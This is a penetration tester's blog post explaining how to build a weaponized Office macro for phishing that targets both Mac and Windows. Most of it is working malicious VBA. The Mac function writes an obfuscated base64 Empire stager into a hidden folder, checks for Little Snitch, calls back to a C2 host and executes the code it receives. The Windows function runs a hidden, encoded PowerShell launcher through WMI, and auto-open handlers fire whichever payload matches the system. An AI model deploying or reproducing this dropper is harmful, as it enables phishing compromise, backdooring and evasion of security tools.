Multi-Platform Macro Attacks

I worked on an engagement a while back where the primary goal was to run a phishing campaign designed to establish a botnet within a client’s corporate network. The only dilemma was that we didn’t know if the weaponized phishing email would land on a Mac or Windows system. We were made aware that the employees at that company used both systems based on preference.

The goal of this post is to go over techniques used to create a weaponized macro attack that would work on both Windows and Mac. To simplify this process, I’m going to use Powershell Empire as my C2, and generate both the Windows payload and Mac (Python) payload from there.  Note that this is not an earth-shattering attack. I’ve read a couple posts which covered similar attack techniques:

http://www.harmj0y.net/blog/empyre/os-x-office-macros-with-empyre/

https://www.blackhillsinfosec.com/empires-cross-platform-office-macro/

https://github.com/cr7pt0/MacroSploit/blob/master/ExampleMacro

I will focus my blog post on my efforts to create an OS X Macro payload that will work on all versions of Office (including newer versions). As some already noticed, the main predicament about generating a OS X Empire macro payload is that it only works for OS X Office 2011 and earlier versions. Newer Office versions implement a sandbox mechanism which greatly reduces the attack surface. I will not cover the process of generating a Windows weaponized Macro, since it is fairly straightforward, and has been covered extensively.

The OS X Empire macro payload fails to launch on Mac systems with newer Office versions because it fails to import the libc.dylib library. The following error is received when debugging the macro program:

macro_error

Thankfully, it is possible to execute scripts in a macro on OS X using a combination of MacScript and AppleScript. Note that although MacScript is deprecated, the command is still recognized, and can be used to execute scripts. Inspired by the MacroSploit example in GitHub, I made a few modifications that will invoke MacScript and AppleScript to output the Empire python script to a file on disk, and then execute it.

First, set up a listener and generate a stager for Empire:

launcher

Next, we write a macro script that will create a hidden directory, and copy the python one-liner into a file (bad.py). I break up the one-liner script into multiple lines, because office macros have line length limitations. We then remove all newline characters from the bad.py file and output it to a file called o.py. We then give execution rights to the file, and then execute it.

The Mac macro will look like the following:

Private Sub Workbook_Open()
        MacScript "do shell script ""mkdir -p $HOME/.hidden"""
        MacScript "do shell script ""cat <<EOF > $HOME/.hidden/bad.py\nimport sys,base64,warnings;warnings.filterwarnings('ignore');exec(base64.b64decode('aW1wb3J0IHN5cztpbXBvcnQgcmUsIHN1YnByb2Nlc3M7Y21kID0gInBzIC1lZiB8IGdyZXAgTGl0dGxlXCBTbml0Y2ggfCBncmVwIC12IGdyZXAiCnBzID0gc3V"""
        MacScript "do shell script ""cat <<EOF >> $HOME/.hidden/bad.py\nicHJvY2Vzcy5Qb3BlbihjbWQsIHNoZWxsPVRydWUsIHN0ZG91dD1zdWJwcm9jZXNzLlBJUEUpCm91dCA9IHBzLnN0ZG91dC5yZWFkKCkKcHMuc3Rkb3V0LmNsb3NlKCkKaWYgcmUuc2VhcmNoKCJMaXR0bGUgU25pdGNoIiwgb3V0KToKICAgc3lzLmV4aXQoKQppbXBvcnQgdXJsbGliM"""
        MacScript "do shell script ""cat <<EOF >> $HOME/.hidden/bad.py\njsKVUE9J01vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMTsgV09XNjQ7IFRyaWRlbnQvNy4wOyBydjoxMS4wKSBsaWtlIEdlY2tvJztzZXJ2ZXI9J2h0dHA6Ly8xOTIuMTY4Ljg2LjEyOTo4MCc7dD0nL2FkbWluL2dldC5waHAnO3JlcT11cmxsaWIyLlJlcXVlc3Qoc2VydmVyK3QpOwp"""
        MacScript "do shell script ""cat <<EOF >> $HOME/.hidden/bad.py\nyZXEuYWRkX2hlYWRlcignVXNlci1BZ2VudCcsVUEpOwpyZXEuYWRkX2hlYWRlcignQ29va2llJywic2Vzc2lvbj1vemxHajhSWFVabDRWaUxlSlNlZWxXN2hvV1k9Iik7CnByb3h5ID0gdXJsbGliMi5Qcm94eUhhbmRsZXIoKTsKbyA9IHVybGxpYjIuYnVpbGRfb3BlbmVyKHByb3h5K"""
        MacScript "do shell script ""cat <<EOF >> $HOME/.hidden/bad.py\nTsKdXJsbGliMi5pbnN0YWxsX29wZW5lcihvKTsKYT11cmxsaWIyLnVybG9wZW4ocmVxKS5yZWFkKCk7CklWPWFbMDo0XTtkYXRhPWFbNDpdO2tleT1JVisnVyE5Pkc3WjFFTkh1RGx0eDphZCxQfmZMa1NefGhxfSYnO1MsaixvdXQ9cmFuZ2UoMjU2KSwwLFtdCmZvciBpIGluIHJhbmd"""
        MacScript "do shell script ""cat <<EOF >> $HOME/.hidden/bad.py\nlKDI1Nik6CiAgICBqPShqK1NbaV0rb3JkKGtleVtpJWxlbihrZXkpXSkpJTI1NgogICAgU1tpXSxTW2pdPVNbal0sU1tpXQppPWo9MApmb3IgY2hhciBpbiBkYXRhOgogICAgaT0oaSsxKSUyNTYKICAgIGo9KGorU1tpXSklMjU2CiAgICBTW2ldLFNbal09U1tqXSxTW2ldCiAgICBvd"""
        MacScript "do shell script ""cat <<EOF >> $HOME/.hidden/bad.py\nXQuYXBwZW5kKGNocihvcmQoY2hhcileU1soU1tpXStTW2pdKSUyNTZdKSkKZXhlYygnJy5qb2luKG91dCkp'));"""
        MacScript "do shell script ""tr -d '\n' < $HOME/.hidden/bad.py > $HOME/.hidden/o.py"""
        MacScript "do shell script ""chmod +x $HOME/.hidden/o.py"""
        MacScript "do shell script ""python $HOME/.hidden/o.py > /dev/null 2>&1 &"""
End Sub

Note that this is not the stealthiest attack since it requires the script to be written on disk. I attempted to perform a fileless one-liner attack with the MacScript and AppleScript combination, but was not successful. Please leave me a comment if you figured it out.

Upon opening the Office document, the Mac macro detonates, calls back to the C2, but the shell is limited, since it is sandboxed. Despite the sandbox, it is still possible to get valuable information from that limited shell. The python script will be outputted in a directory similar to the following depending on which Office application you’re using:

/Users/[username]/Library/Containers/com.microsoft.Word/Data/

Once we finish testing the Windows and Mac payload, we add some subroutine logic that will trigger the right payload based on the detected operating system.

The final macro script should look similar to the following:

Public Function RunWin() As Variant
	Dim pT As String
	pT = "powershell -noP -sta -w 1 -enc  SQBGACgAJABQAFMAVg"
	pT = pT + "BFAHIAUwBpAE8ATgBUAGEAQgBMAGUALgBQAFMAVgBFAFIAUwBp"
	pT = pT + "AG8ATgAuAE0AYQBKAG8AUgAgAC0AZwBFACAAMwApAHsAJABHAF"
	pT = pT + "AAUwA9AFsAcgBlAGYAXQAuAEEAUwBTAEUATQBiAEwAeQAuAEcA"
	pT = pT + "ZQB0AFQAeQBQAEUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQ"
	--SNIP--
	pT = pT + "AD0AIgApADsAJABEAGEAVABhAD0AJABXAEMALgBEAE8AVwBuAE"
	pT = pT + "wATwBhAGQARABhAFQAYQAoACQAUwBFAHIAKwAkAFQAKQA7ACQA"
	pT = pT + "aQBWAD0AJABEAEEAVABBAFsAMAAuAC4AMwBdADsAJABkAEEAVA"
	pT = pT + "BhAD0AJABkAGEAVABhAFsANAAuAC4AJABEAEEAVABhAC4ATABF"
	pT = pT + "AG4AZwB0AGgAXQA7AC0AagBPAGkAbgBbAEMAaABBAHIAWwBdAF"
	pT = pT + "0AKAAmACAAJABSACAAJABkAGEAdABBACAAKAAkAEkAVgArACQA"
	pT = pT + "SwApACkAfABJAEUAWAA="
	Const HIDDEN_WINDOW = 0
	strComputer = "."
	Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
	Set objStartup = objWMIService.Get("Win32_ProcessStartup")
	Set objConfig = objStartup.SpawnInstance_
	objConfig.ShowWindow = HIDDEN_WINDOW
	Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process")
	objProcess.Create pT, Null, objConfig, intProcessID
End Function

Public Function RunMac() As Variant
    MacScript "do shell script ""mkdir -p $HOME/.hidden"""
        MacScript "do shell script ""cat <<EOF > $HOME/.hidden/bad.py\nimport sys,base64,warnings;warnings.filterwarnings('ignore');exec(base64.b64decode('aW1wb3J0IHN5cztpbXBvcnQgcmUsIHN1YnByb2Nlc3M7Y21kID0gInBzIC1lZiB8IGdyZXAgTGl0dGxlXCBTbml0Y2ggfCBncmVwIC12IGdyZXAiCnBzID0gc3V"""
        MacScript "do shell script ""cat <<EOF >> $HOME/.hidden/bad.py\nicHJvY2Vzcy5Qb3BlbihjbWQsIHNoZWxsPVRydWUsIHN0ZG91dD1zdWJwcm9jZXNzLlBJUEUpCm91dCA9IHBzLnN0ZG91dC5yZWFkKCkKcHMuc3Rkb3V0LmNsb3NlKCkKaWYgcmUuc2VhcmNoKCJMaXR0bGUgU25pdGNoIiwgb3V0KToKICAgc3lzLmV4aXQoKQppbXBvcnQgdXJsbGliM"""
        MacScript "do shell script ""cat <<EOF >> $HOME/.hidden/bad.py\njsKVUE9J01vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMTsgV09XNjQ7IFRyaWRlbnQvNy4wOyBydjoxMS4wKSBsaWtlIEdlY2tvJztzZXJ2ZXI9J2h0dHA6Ly8xOTIuMTY4Ljg2LjEyOTo4MCc7dD0nL2FkbWluL2dldC5waHAnO3JlcT11cmxsaWIyLlJlcXVlc3Qoc2VydmVyK3QpOwp"""
        ---SNIP---
        MacScript "do shell script ""cat <<EOF >> $HOME/.hidden/bad.py\nlKDI1Nik6CiAgICBqPShqK1NbaV0rb3JkKGtleVtpJWxlbihrZXkpXSkpJTI1NgogICAgU1tpXSxTW2pdPVNbal0sU1tpXQppPWo9MApmb3IgY2hhciBpbiBkYXRhOgogICAgaT0oaSsxKSUyNTYKICAgIGo9KGorU1tpXSklMjU2CiAgICBTW2ldLFNbal09U1tqXSxTW2ldCiAgICBvd"""
        MacScript "do shell script ""cat <<EOF >> $HOME/.hidden/bad.py\nXQuYXBwZW5kKGNocihvcmQoY2hhcileU1soU1tpXStTW2pdKSUyNTZdKSkKZXhlYygnJy5qb2luKG91dCkp'));"""
        MacScript "do shell script ""tr -d '\n' < $HOME/.hidden/bad.py > $HOME/.hidden/o.py"""
        MacScript "do shell script ""chmod +x $HOME/.hidden/o.py"""
        MacScript "do shell script ""python $HOME/.hidden/o.py > /dev/null 2>&1 &"""
End Function

Sub Auto_Open()
    #If Mac Then
        RunMac
    #Else
        RunWin
    #End If
End Sub

Sub AutoOpen()
    #If Mac Then
        RunMac
    #Else
        RunWin
    #End If
End Sub

Sub Document_Open()
	#If Mac Then
        RunMac
    #Else
        RunWin
    #End If
End Sub

If set up correctly,  you should have a working multi-platform weaponized macro!Screenshot-20171211141634-1137x221

Let the fun begin 🙂

Leave a comment